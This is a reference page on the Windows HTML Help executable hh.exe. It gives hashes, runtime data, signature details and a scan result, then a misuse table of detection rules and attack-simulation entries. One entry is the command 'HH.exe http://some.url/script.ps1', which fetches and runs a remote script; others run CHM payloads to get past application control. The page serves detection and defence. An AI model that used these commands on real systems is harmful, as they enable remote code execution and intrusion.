hh.exe

  • File Path: C:\WINDOWS\hh.exe
  • Description: Microsoft HTML Help Executable

Screenshot

hh.exe

Hashes

Type Hash
MD5 2A1D5B4479F110326B54620AA9ED942A
SHA1 0D3C102E461E1FC0D85FFE05D329A2E525666CB7
SHA256 AE52DF2A8D4CBEAE82E2311EDCFE035DE28DF126E962B10009C4AE133818A846
SHA384 596FD081C1E8E49828FCEE14455B1FAB77869CA002ED052597B35148677B3C59558595C7AB0CB3F7943C454F01742A10
SHA512 2D60FBFE765C5FDAE1EF91869B2AA4E8F354317BF45F011FA303D0C1BCCAA3DF5B0219BAD17AB8FEC94949F469EF7A4962D6D6EB9919ADD08E902ECF941BA1A4
SSDEEP 192:9X3Si9YaL0vt5kBmfvTeEUs4vhk78SggGCvgnKExBrOm5GJ1KDJD/oWcU:FbCaL0F5imnTehs4QwKQI1KDWWcU
IMP D3D9C3E81A404E7F5C5302429636F04C
PESHA1 4D610D988248713956731DB312B649883479367E
PE256 C6FF9816C4CEB4A957F9E0FB8EFBF0B3BD8252FD073B42A3ED5B2CAEEE0C452B

Runtime Data

Window Title:

File Download

Open Handles:

Path Type
(R–) C:\Users\user\AppData\Local\Temp~DFEF3306E7521644B6.TMP File
(R-D) C:\Windows\en-US\hh.exe.mui File
(R-D) C:\Windows\Fonts\StaticCache.dat File
(R-D) C:\Windows\System32\en-US\hhctrl.ocx.mui File
(R-D) C:\Windows\System32\en-US\ieframe.dll.mui File
(R-D) C:\Windows\System32\en-US\mshtml.dll.mui File
(R-D) C:\Windows\System32\en-US\urlmon.dll.mui File
(R-D) C:\Windows\System32\en-US\user32.dll.mui File
(R-D) C:\Windows\System32\ieframe.dll File
(R-D) C:\Windows\SystemResources\ieframe.dll.mun File
(R-D) C:\Windows\WinSxS\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.22000.1_en-us_6b887e04d8b70b4e\comctl32.dll.mui File
(RW-) C:\Windows\System32 File
(RW-) C:\Windows\System32\help File
(RW-) C:\Windows\WinSxS\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.22000.1_en-us_6b887e04d8b70b4e File
(RW-) C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_271a8fad6a2d1b1e File
(RW-) C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.22000.120_none_9d947278b86cc467 File
(RWD) C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db File
(RWD) C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db File
(RWD) C:\Users\user\AppData\Local\Temp~DF02F0E731DDA349B7.TMP File
(RWD) C:\Windows\Fonts File
(RWD) C:\Windows\Fonts\segoeui.ttf File
(RWD) C:\Windows\System32 File
\BaseNamedObjects__ComCatalogCache__ Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2.ro Section
\BaseNamedObjects\F932B6C7-3A20-46A0-B8A0-8894AA421973 Section
\Sessions\2\BaseNamedObjects\29ecHWNDInterface:180478 Section
\Sessions\2\BaseNamedObjects\29ecHWNDInterface:71000 Section
\Sessions\2\BaseNamedObjects\MSIMGSIZECacheMap Section
\Sessions\2\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\Sessions\2\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section
\Sessions\2\BaseNamedObjects\UrlZonesSM_TI-ADMIN Section
\Sessions\2\BaseNamedObjects\windows_ie_global_counters Section
\Sessions\2\BaseNamedObjects\windows_shell_global_counters Section
\Sessions\2\BaseNamedObjects\windows_webcache_counters_{9B6AB5B3-91BC-4097-835C-EA2DEC95E9CC}_S-1-5-21-1128764013-3361508229-3049782613-1001 Section
\Sessions\2\Windows\Theme1077709572 Section
\Windows\Theme3461253685 Section

Loaded Modules:

Path
C:\WINDOWS\hh.exe
C:\WINDOWS\System32\ADVAPI32.dll
C:\WINDOWS\System32\bcryptPrimitives.dll
C:\WINDOWS\System32\combase.dll
C:\WINDOWS\System32\GDI32.dll
C:\WINDOWS\System32\gdi32full.dll
C:\Windows\System32\hhctrl.ocx
C:\WINDOWS\System32\IMM32.DLL
C:\WINDOWS\SYSTEM32\kernel.appcore.dll
C:\WINDOWS\System32\KERNEL32.DLL
C:\WINDOWS\System32\KERNELBASE.dll
C:\WINDOWS\System32\msvcp_win.dll
C:\WINDOWS\System32\msvcrt.dll
C:\WINDOWS\SYSTEM32\ntdll.dll
C:\WINDOWS\System32\ole32.dll
C:\WINDOWS\System32\OLEAUT32.dll
C:\WINDOWS\System32\RPCRT4.dll
C:\WINDOWS\System32\sechost.dll
C:\WINDOWS\System32\SHELL32.dll
C:\WINDOWS\System32\SHLWAPI.dll
C:\WINDOWS\System32\ucrtbase.dll
C:\WINDOWS\System32\USER32.dll
C:\WINDOWS\System32\win32u.dll
C:\WINDOWS\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_271a8fad6a2d1b1e\COMCTL32.dll

Signature

  • Status: Signature verified.
  • Serial: 33000002ED2C45E4C145CF48440000000002ED
  • Thumbprint: 312860D2047EB81F8F58C29FF19ECDB4C634CF6A
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: HH.exe.mui
  • Product Name: HTML Help
  • Company Name: Microsoft Corporation
  • File Version: 10.0.22000.1 (WinBuild.160101.0800)
  • Product Version: 10.0.22000.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/72
  • VirusTotal Link: https://www.virustotal.com/gui/file/ae52df2a8d4cbeae82e2311edcfe035de28df126e962b10009c4ae133818a846/detection

File Similarity (ssdeep match)

File Score
C:\Windows\hh.exe 49
C:\Windows\hh.exe 35
C:\Windows\hh.exe 38
C:\windows\hh.exe 35
C:\WINDOWS\hh.exe 40
C:\WINDOWS\SysWOW64\hh.exe 38
C:\Windows\SysWOW64\hh.exe 33
C:\WINDOWS\SysWOW64\hh.exe 40
C:\Windows\SysWOW64\hh.exe 38
C:\Windows\SysWOW64\hh.exe 35
C:\windows\SysWOW64\hh.exe 33

Possible Misuse

The following table contains possible examples of hh.exe being misused. While hh.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - '\hh.exe' DRL 1.0
sigma sysmon_suspicious_remote_thread.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_hh_chm.yml title: HH.exe Execution DRL 1.0
sigma proc_creation_win_hh_chm.yml description: Identifies usage of hh.exe executing recently modified .chm files. DRL 1.0
sigma proc_creation_win_hh_chm.yml Image\|endswith: '\hh.exe' DRL 1.0
sigma proc_creation_win_html_help_spawn.yml ParentImage: 'C:\Windows\hh.exe' DRL 1.0
sigma proc_creation_win_office_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_outlook_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java_keytool.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_system_user_anomaly.yml - '\hh.exe' DRL 1.0
LOLBAS Hh.yml Name: Hh.exe  
LOLBAS Hh.yml - Command: HH.exe http://some.url/script.ps1  
LOLBAS Hh.yml - Command: HH.exe c:\windows\system32\calc.exe  
LOLBAS Hh.yml Usecase: Execute process with HH.exe  
LOLBAS Hh.yml - Path: C:\Windows\System32\hh.exe  
LOLBAS Hh.yml - Path: C:\Windows\SysWOW64\hh.exe  
atomic-red-team T1218.001.md <blockquote>Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)</blockquote> MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a local compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{local_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a remote compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{remote_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md | hh_file_path | path of modified HH.exe | Path | $env:windir\hh.exe| MIT License. © 2018 Red Canary

MIT License. Copyright (c) 2020-2021 Strontic.